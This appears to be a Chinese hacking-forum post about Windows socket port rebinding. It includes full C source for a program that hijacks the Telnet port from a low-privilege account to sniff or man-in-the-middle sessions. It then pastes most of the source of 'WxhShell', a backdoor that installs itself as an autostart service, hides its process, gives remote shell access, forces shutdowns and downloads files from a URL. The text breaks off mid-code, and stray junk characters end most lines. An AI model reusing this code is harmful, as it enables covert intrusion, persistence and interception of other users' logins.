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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~2}^ -,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); * oru;=D@8  
pbNW l/|4  
  saddr.sin_family = AF_INET; S%7%@Qs"%  
1-}$sO c  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); r'J3\7N!u  
W C3b_ia  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); sx][X itR+  
ZIJTGa}B q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @,SN8K0T  
fj[tm  
  这意味着什么?意味着可以进行如下的攻击: ZowPga  
A5YS "i  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <Q?_],ip  
.GuZV'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) g&L $5  
}\d3   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $F~hL?"?  
Ffr6P }I  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  n$jf($*  
,CjJO -  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Op ;){JT  
F>rf cW2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]|4mD3O  
6N'HXL UlQ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?`Som_vKO  
J.pe&1  
  #include * TR ~>|  
  #include 6WEu(}=  
  #include kA(q-Re$B*  
  #include    AK5$>Pkvk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   m NApFwZ  
  int main() >Av%[G5=h#  
  { J9`[Qy\  
  WORD wVersionRequested; .E0*lem'hE  
  DWORD ret; c$]NXKcA  
  WSADATA wsaData; Zbjj>*2%^  
  BOOL val; f n'N^  
  SOCKADDR_IN saddr; }{@RO./)[  
  SOCKADDR_IN scaddr; O:(%m  
  int err; ?mW;%d~]  
  SOCKET s; -cnlj  
  SOCKET sc; *!x/ia9  
  int caddsize; +hd1|qa4  
  HANDLE mt; 2`w\<h  
  DWORD tid;   aoS]Qp  
  wVersionRequested = MAKEWORD( 2, 2 ); o)IcAqN$H  
  err = WSAStartup( wVersionRequested, &wsaData ); vh6#Bc)i%w  
  if ( err != 0 ) { h}$]3/5H  
  printf("error!WSAStartup failed!\n"); 4!tHJCq"  
  return -1; kC2_&L  
  } 8v']>5S]#  
  saddr.sin_family = AF_INET; m7~[f7U  
   1w|V'e?kb  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &)|3OJ'o  
[8C6%n{W  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &-6 D'@  
  saddr.sin_port = htons(23); k0R;1lZ0n  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1">]w2je:  
  { m 1lfC  
  printf("error!socket failed!\n"); YP vg(T  
  return -1; Y&_1U/}h  
  } blA]z!FU  
  val = TRUE; L8j#l u  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 N^8 lfc$a  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6Bfu89  
  { IWcYa.=tZ  
  printf("error!setsockopt failed!\n"); },5_h0  
  return -1; 7w=%aW|  
  } S+C^7# lT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; yD!V;?EnK  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ICgyCsZ,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 $\@yH^hL  
"Z6:d"S`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) t#h<'?\E  
  { $MG. I[h  
  ret=GetLastError(); `;R|SyrX  
  printf("error!bind failed!\n"); -/ #tQ~{gs  
  return -1; <ArP_! `3  
  } kVZ5>D$  
  listen(s,2); v`$9;9  
  while(1) WtTwY8HC  
  { P'6(HT>F?  
  caddsize = sizeof(scaddr); !S',V&Yb  
  //接受连接请求 #UH7z 4u  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^ok;<fJ  
  if(sc!=INVALID_SOCKET) (N\Zz*PLz  
  { `'`T'+0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); WwDxZ>9jw  
  if(mt==NULL) i>[1^~;  
  { jsvD[\P  
  printf("Thread Creat Failed!\n"); VNbq]L(g  
  break; Lay+)S.ta[  
  } B1A5b=6G<  
  } 2JYt.HN  
  CloseHandle(mt); YA>du=6y\  
  } ^50/.Z >  
  closesocket(s); ;pNHT*>u,  
  WSACleanup(); $|YIr7?R  
  return 0; c#e_Fs  
  }   8EPV\M1%  
  DWORD WINAPI ClientThread(LPVOID lpParam) ft[g1  
  { %?EOD=e =  
  SOCKET ss = (SOCKET)lpParam; *<!W k\  
  SOCKET sc; =`X@+~%-  
  unsigned char buf[4096]; G K @]61b  
  SOCKADDR_IN saddr; f.=4p^  
  long num; pstQithS  
  DWORD val; SJ-g2aAT  
  DWORD ret; hoihdVjv  
  //如果是隐藏端口应用的话,可以在此处加一些判断 97Qng*i  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Sn/~R|3XA7  
  saddr.sin_family = AF_INET; GJItGq`)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K,}"v ;||  
  saddr.sin_port = htons(23); p\8cl/~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \6Ze H  
  { J7.bFW'  
  printf("error!socket failed!\n"); 1h+!<c q  
  return -1; GfU+'k;9  
  } G1~|$X@@  
  val = 100; k[ Iwxl;/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8Db~OYVJG  
  { bhSpSul  
  ret = GetLastError(); z[S,hD\w  
  return -1; \wNn c"  
  } t{>66jm\R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c+G: bb%p  
  { 685o1c|  
  ret = GetLastError(); _A)<"z0E  
  return -1; XI\aZ\v  
  } Rhx7eU#&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) BQB O]<99  
  { h ;5 -X7  
  printf("error!socket connect failed!\n"); +c\s%Gzrh  
  closesocket(sc); vd /_`l.D  
  closesocket(ss); KX)xCR~  
  return -1; 4W.;p"S2  
  } 3_T'TzQ u  
  while(1) RQU5T 2,  
  { Z=!*7@QY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !r.}y|t?;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @WEem(@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ojVpw4y.  
  num = recv(ss,buf,4096,0); ok\+$+ $ju  
  if(num>0) i:kWO7aP  
  send(sc,buf,num,0); H]=3^g64  
  else if(num==0) `CK;,>i   
  break; X{#@ :z$  
  num = recv(sc,buf,4096,0); ^^?DYC   
  if(num>0) 2ZtqZ64i  
  send(ss,buf,num,0); i? AZ|Ha[  
  else if(num==0) Lx?bO`=qg7  
  break; L238l  
  } 54J<ZXCs  
  closesocket(ss); ].dTEzL9X  
  closesocket(sc); y=vH8D]%X  
  return 0 ; e^XijId.  
  } Hs=!.tZ,  
7^iF,N  
6ddkUPTF  
========================================================== Z{p6Q1u  
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下边附上一个代码,,WXhSHELL BQS9q'u_  
.4!N #'  
========================================================== N`Bt|#R  
a LmVOL{  
#include "stdafx.h" [k'Ph33c  
c(#`z!FB  
#include <stdio.h> <YeF?$S}  
#include <string.h> G<jpJ  
#include <windows.h> U-FA^c;  
#include <winsock2.h> j|`{ 1`'  
#include <winsvc.h> @su{Uno8/  
#include <urlmon.h> z}bnw2d]  
{sm={q  
#pragma comment (lib, "Ws2_32.lib") d BlOU.B  
#pragma comment (lib, "urlmon.lib") U*&ZQw  
{yb\p9q{Yo  
#define MAX_USER   100 // 最大客户端连接数 :LBe{Jbw  
#define BUF_SOCK   200 // sock buffer q<yH!  
#define KEY_BUFF   255 // 输入 buffer (C-z8R Z6  
WQ5sC[&   
#define REBOOT     0   // 重启 ^ Nsl5  
#define SHUTDOWN   1   // 关机 @5?T]V g  
Q5,@ P?  
#define DEF_PORT   5000 // 监听端口 H;sQ]:.*]  
R ^B2J+O  
#define REG_LEN     16   // 注册表键长度 @i{JqHU"  
#define SVC_LEN     80   // NT服务名长度 ImV54h'  
Gr6ma*)y~t  
// 从dll定义API )b%c]!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "{x~j \<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K%pmE?%,8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #dpt=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <,E*,&0W  
99ha /t  
// wxhshell配置信息 'hek CZZ_I  
struct WSCFG { :x{Q  
  int ws_port;         // 监听端口 68HX,t  
  char ws_passstr[REG_LEN]; // 口令 {-Y_8@&  
  int ws_autoins;       // 安装标记, 1=yes 0=no kuH;AMdv  
  char ws_regname[REG_LEN]; // 注册表键名 g?>AY2f[5  
  char ws_svcname[REG_LEN]; // 服务名 /5x `TT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T) ,:8/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 huF L [  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  ,g,jY]o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @zJI0_Bp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BL8\p_U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5./ (fgx>  
-ufmpq.  
}; Y;&#Ur8q  
M)J*Df0@  
// default Wxhshell configuration ^X&9"x)4  
struct WSCFG wscfg={DEF_PORT, "qj[[L Q  
    "xuhuanlingzhe", `5 6QX'?  
    1, wFJK!9KA8  
    "Wxhshell", pt4xUu{  
    "Wxhshell", poeXi\e!(  
            "WxhShell Service", OpL 6Y+<  
    "Wrsky Windows CmdShell Service", w//w$}v  
    "Please Input Your Password: ", Y=rr6/k  
  1, b}4/4Z.  
  "http://www.wrsky.com/wxhshell.exe", ^ Wl/  
  "Wxhshell.exe" z;/'OJ[.  
    }; DO\EB6xH>%  
J7\q #]?  
// 消息定义模块 mNeW|3a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x>J3tp$2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W vJ?e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Pu^~]^W)  
char *msg_ws_ext="\n\rExit."; 5i^vN"J  
char *msg_ws_end="\n\rQuit."; tbPPI)lu  
char *msg_ws_boot="\n\rReboot..."; (Z$6J Nkz  
char *msg_ws_poff="\n\rShutdown..."; >o} ati  
char *msg_ws_down="\n\rSave to "; s =5H.q%PV  
qE{cCS  
char *msg_ws_err="\n\rErr!"; jkP70Is  
char *msg_ws_ok="\n\rOK!"; 'i(p@m<'  
Q'a N|^w"f  
char ExeFile[MAX_PATH]; ?8,N4T0)  
int nUser = 0; +wUhB\F *  
HANDLE handles[MAX_USER]; U]D.z}0  
int OsIsNt; SNU bY6  
{T.Vu]L80  
SERVICE_STATUS       serviceStatus; ->hxHr`!%a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O<h#|g1  
`az`?`i7  
// 函数声明 cA%U  
int Install(void); Zd(d]M_x  
int Uninstall(void); ]= NYvv>H  
int DownloadFile(char *sURL, SOCKET wsh); Dq?HUb^X  
int Boot(int flag); +zdkdS,2<  
void HideProc(void); +r$.v|6  
int GetOsVer(void); / 3k\kkv!  
int Wxhshell(SOCKET wsl); 5lxq-E3  
void TalkWithClient(void *cs); ee_\_"  
int CmdShell(SOCKET sock); Tqa4~|6  
int StartFromService(void); 9AYe,R  
int StartWxhshell(LPSTR lpCmdLine); @c !67Z  
L%d?eHF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 12PE{Mut  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lDU:EJ&DHE  
!5OMAWNU@  
// 数据结构和表定义 BNCJT$t YX  
SERVICE_TABLE_ENTRY DispatchTable[] = 'r n;|K  
{ j_yFH#^W:  
{wscfg.ws_svcname, NTServiceMain}, w)eQ'6Vu  
{NULL, NULL} W{+0iAYnp  
}; Ql@yN@V  
$M`;."  
// 自我安装 sYA-FO3gh  
int Install(void) 'TrrOq4  
{ G r|@CZq  
  char svExeFile[MAX_PATH]; YB{E= \~  
  HKEY key; mY 8=qkZE  
  strcpy(svExeFile,ExeFile); >ij4z N  
Cj1UD;  
// 如果是win9x系统,修改注册表设为自启动 B ^(rUR  
if(!OsIsNt) { *wB-lg7%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,A!e"=HF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b<(UmRxx3  
  RegCloseKey(key); % B &?D@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ePpK+E[0Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~9 WJrRWB  
  RegCloseKey(key); ,Q#tA|:8j  
  return 0; /Z " 4[  
    } /C"s_:m;3  
  } D Ok^ON  
} aaug u.9  
else { ]A]E)*  
70 UgKE  
// 如果是NT以上系统,安装为系统服务 !(_xu{(DL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7 3z Y^ x  
if (schSCManager!=0) 9H}iX0O  
{ ~}0hN]*G  
  SC_HANDLE schService = CreateService K^vp(2  
  ( -mHhB(Td'  
  schSCManager, [a)~Dui0@\  
  wscfg.ws_svcname, /Tf*d>Yh;  
  wscfg.ws_svcdisp, pt cLJ]+)  
  SERVICE_ALL_ACCESS, :5K ~/=6x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f76|  
  SERVICE_AUTO_START, CotMV^   
  SERVICE_ERROR_NORMAL, Z)O>h^0  
  svExeFile, A%*DQ1N  
  NULL, R, w54},  
  NULL, }Q=se[((  
  NULL, Zc3:9   
  NULL, c^Gwri4  
  NULL , q@(L  
  ); ms\/=96F  
  if (schService!=0) ar qLp|  
  { #or oY.o  
  CloseServiceHandle(schService); !bV(VRbu  
  CloseServiceHandle(schSCManager); i)=89?8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7x7r!rSe,  
  strcat(svExeFile,wscfg.ws_svcname); gqdB!l4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K aQq[a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &Y>~^$`J  
  RegCloseKey(key);  mz VuQ  
  return 0; v6P~XK}G  
    } R`C_CsXir  
  } "">fn(  
  CloseServiceHandle(schSCManager); %cr]ZR  
} PDq}Tq  
} LYy:IBI7_  
T3t~=b>&L  
return 1; Ul713Bjz  
} {8Jk=)(md  
mf;^b.mKh  
// 自我卸载 h [|zs>p  
int Uninstall(void) dI ZTLb"a  
{ C3 b0`|5  
  HKEY key; mf]( 3ZL  
E2h;hr;W  
if(!OsIsNt) { WQLHjGehe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t2 -nCRXEP  
  RegDeleteValue(key,wscfg.ws_regname); k`7.p,;}U  
  RegCloseKey(key); zUEfa!#?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4=F]`Lql  
  RegDeleteValue(key,wscfg.ws_regname); _/]:=_bf_z  
  RegCloseKey(key); t1:S!@  
  return 0; 8/>wgY  
  } 3^A/`8R7K  
} ,F?~'-K  
} i9@;,4f  
else { b?2X>QJ  
;+ C o!L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^0-e,d 9h  
if (schSCManager!=0) 3dxnh,]&@  
{ yrE,,N%I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w-'D*dOi  
  if (schService!=0) Dmm r]~  
  { fs3 -rXoB  
  if(DeleteService(schService)!=0) { \+?,c\x  
  CloseServiceHandle(schService); S1az3VJI\  
  CloseServiceHandle(schSCManager); {80oRD2=Q  
  return 0; r8 Zyld_@  
  } x^#6>oOR  
  CloseServiceHandle(schService); -l40)^ E}  
  } dp UdFuU"  
  CloseServiceHandle(schSCManager); pRiH,:\  
} Xv-1PY':pA  
}  UE&C  
pRrqs+IJZ\  
return 1; .e FOfV)  
} JhhUg  
Oa.f~|  
// 从指定url下载文件 ){Ciu[h  
int DownloadFile(char *sURL, SOCKET wsh) p(H)WD  
{  $||ns@F+  
  HRESULT hr; RI5g+Du?  
char seps[]= "/"; oc3dd"8}@  
char *token; e\^g|60f_  
char *file; w]W`R.  
char myURL[MAX_PATH]; PzMlua  
char myFILE[MAX_PATH]; u8<&F`7j  
rTP5-4  
strcpy(myURL,sURL); HeT6Dv  
  token=strtok(myURL,seps); /jjW/ lr  
  while(token!=NULL) Ere?d~8  
  { o8};e  
    file=token; 1Es*=zg  
  token=strtok(NULL,seps); Y0Hq+7x  
  } C>Omng1>^  
2xL!PR-  
GetCurrentDirectory(MAX_PATH,myFILE); :_o] F  
strcat(myFILE, "\\"); _uO!N(k.  
strcat(myFILE, file); daA47`+d  
  send(wsh,myFILE,strlen(myFILE),0); P|e:+G7  
send(wsh,"...",3,0); rR,+G%[(=4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F=-uDtQ <N  
  if(hr==S_OK) .Ca"$2  
return 0; "}'8`k+d  
else g+>=C   
return 1; ;gxN@%}@  
xZ.~:V03\t  
} W9&0k+#^  
93E,  
// 系统电源模块 7]/dg*A )C  
int Boot(int flag) K9e~Wl<3  
{ (C-,ljY  
  HANDLE hToken; DD12pL{QA  
  TOKEN_PRIVILEGES tkp; C=oM,[ESQ0  
:rz9M@7  
  if(OsIsNt) { 3~[`[4n^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p@?7^nIR*u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3d,-3U  
    tkp.PrivilegeCount = 1; L,Ao.?j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {h/OnBwG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %XEKhy  
if(flag==REBOOT) { 0On? {Bw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qYgwyj=4  
  return 0; kfMhw M8kP  
} QHHW(InG<  
else { ZdE>C   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a)3O? Y  
  return 0; E;6Y? vJ  
} ~-XOvKJb  
  } YMc8Q\*B  
  else { X+]L-o6I2  
if(flag==REBOOT) { [,OJX N-4s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '}U_D:o.b  
  return 0; :r1;}hIA9  
} U}tl_5%)  
else { x4CtSGG85f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,N;))3  
  return 0; 'i@,~[Z4  
} zW*}`S "  
} vKcl6bVT  
|A ;o0pL  
return 1; OOEV-=  
} v-P8WFjca  
89LpklD  
// win9x进程隐藏模块 !MZ+-dpK  
void HideProc(void) Z~r[;={,  
{ G{@C"H[$<  
:7 qqjs  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  Jt##rVN  
  if ( hKernel != NULL ) zq,iLoY[R  
  { <lC]>L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nkCecwzr-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *ZGX-+{  
    FreeLibrary(hKernel); N=OS\pz  
  } )>(L{y|uYX  
gKmX^A5<  
return; T?W[Z_D  
} nqZA|-}  
W3^zIj  
// 获取操作系统版本 `d75@0:  
int GetOsVer(void) c5X`_  
{ uz]E_&2  
  OSVERSIONINFO winfo; :|Z$3q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R;H?gE^m-  
  GetVersionEx(&winfo); 1a<]$tZk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J__;.rnk  
  return 1; ykxbX  
  else q^Z~IZ8IT  
  return 0; 'Pf_5q  
} LYp'vZ!  
Nc{]zWL9  
// 客户端句柄模块 Uh>.v |P6  
int Wxhshell(SOCKET wsl) |r5e{  
{ sC% b~  
  SOCKET wsh; -@rxiC:Q  
  struct sockaddr_in client; ?Q@L-H`  
  DWORD myID; \M7I&~V  
{I`B[,*  
  while(nUser<MAX_USER) Xc\* 9XV:  
{ kt :)W])V  
  int nSize=sizeof(client); p lK=D#)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  OQ6sv/  
  if(wsh==INVALID_SOCKET) return 1; V/J>GRjw  
O~.U:45t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d4%dIR)  
if(handles[nUser]==0) s0r"N7~  
  closesocket(wsh); ([Ebsj  
else ?8Et[tFg  
  nUser++; wuKl-:S;Vs  
  } ;P3>>DZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2-~a P  
wDDxj  
  return 0; \3r3{X _<`  
} +L0J_.5%^  
8)sg_JC  
// 关闭 socket  2A*/C7  
void CloseIt(SOCKET wsh) G-arnu)  
{ (B&h;U$HAH  
closesocket(wsh); $'^&\U~?  
nUser--; YZibi  
ExitThread(0); X6xx2v%D  
} [Gh"ojt]w  
opdu=i=E  
// 客户端请求句柄 !6Q`>s]  
void TalkWithClient(void *cs) \E Z+#3u  
{ ; yyO0Ha  
mG_BM/$  
  SOCKET wsh=(SOCKET)cs; <{giHT  
  char pwd[SVC_LEN]; Rv vh{U;t  
  char cmd[KEY_BUFF]; s|Zx(.EP  
char chr[1]; 8zZSp  
int i,j; ^;zWWg/d  
en>9E.?N  
  while (nUser < MAX_USER) { s;J\Kc?"|  
]c}=5m/  
if(wscfg.ws_passstr) { ymtd>P"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :7\9xH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h4Ia>^@  
  //ZeroMemory(pwd,KEY_BUFF); B20_ig:  
      i=0; \OcMiuw  
  while(i<SVC_LEN) { H>?F8R_iq  
_S"f_W  
  // 设置超时 71O3O7  
  fd_set FdRead; E:FO_R(Xq  
  struct timeval TimeOut; 8Y# bN*!  
  FD_ZERO(&FdRead); "<*awWNI  
  FD_SET(wsh,&FdRead);  QsOhz  
  TimeOut.tv_sec=8; =E y`M#t;  
  TimeOut.tv_usec=0;  5@ foxI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :M j_2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kM!V .e[g  
?>V6P_r>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kJkxx*:u  
  pwd=chr[0]; cn%2OP:L^  
  if(chr[0]==0xd || chr[0]==0xa) { :tM?%=Q  
  pwd=0; b{RqwV5P  
  break; fYBH)E  
  } YUscz!rM  
  i++; Gy!P,a)z  
    } 55-D\n<  
9cQ_mgch  
  // 如果是非法用户,关闭 socket G;TsMq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wVqd$nsY"  
} : ,p||_G&  
bC~~5Cm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q2/.6O8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JDv-O&]  
?+r!z  
while(1) { $b>}C= gt  
HM&1y ubh#  
  ZeroMemory(cmd,KEY_BUFF); MdC<4^|  
xQu eE{  
      // 自动支持客户端 telnet标准   /APcL5:=  
  j=0; wGJjA=C  
  while(j<KEY_BUFF) { knT.l"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m&IsDAn  
  cmd[j]=chr[0]; =x0No*#|'  
  if(chr[0]==0xa || chr[0]==0xd) { SMoz:J*Q(  
  cmd[j]=0; F>+2DlA`<e  
  break; 6GYtY>  
  } ([ dT!B#aH  
  j++; EfiU$ 8y  
    } iePf ]O*  
nxaT.uFd1  
  // 下载文件 Ftv8@l  
  if(strstr(cmd,"http://")) { (ZP87Gz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ->E=&X  
  if(DownloadFile(cmd,wsh)) Ue$zH"w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9s`/~ a@  
  else Bux'hc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? _ <[T  
  } u1cu]Sj0  
  else { 5]"SGP  
u@=?#a$$  
    switch(cmd[0]) { 7zDiHac  
  = .oHnMX2M  
  // 帮助 *Oo &}oAj  
  case '?': { }nud  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6T+  
    break; GK{{7B  
  } RY=1H  
  // 安装 Pxhz@":[  
  case 'i': { z^W$%G  
    if(Install()) l#bAl/c`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5PZN^\^  
    else 6^#uLp>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s_eOcm  
    break; /\=MBUN  
    } ]hE="z=n  
  // 卸载 4nkE IZ  
  case 'r': { v27Ja .tA  
    if(Uninstall()) 7@~tVxB;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %f&< wC  
    else .Q&rfH3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I,O#X)O|i  
    break; /#S>sOg2xq  
    } PlCc8Zy  
  // 显示 wxhshell 所在路径 ~`eHHgX  
  case 'p': { :b/jNHJU  
    char svExeFile[MAX_PATH]; ~xyw>m+o.  
    strcpy(svExeFile,"\n\r"); v6uxxsI>Hm  
      strcat(svExeFile,ExeFile); ;(6P6@+o  
        send(wsh,svExeFile,strlen(svExeFile),0); *P2[qhP2  
    break; ?KWj}| %  
    } *'R#4@wmP  
  // 重启 A0xC,V~z  
  case 'b': { ~ 3T,&?r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &L4 q10-N  
    if(Boot(REBOOT)) J]pa4C`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eThy+  
    else { )`HA::  
    closesocket(wsh); Vhg1/EgUr  
    ExitThread(0); mBk5+KyT  
    } ohQAA h  
    break; l@~LV}BI  
    } @CQb[!9C  
  // 关机 rdJB*Rlkh  
  case 'd': { xiM&$<LpR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G<qIY&D'  
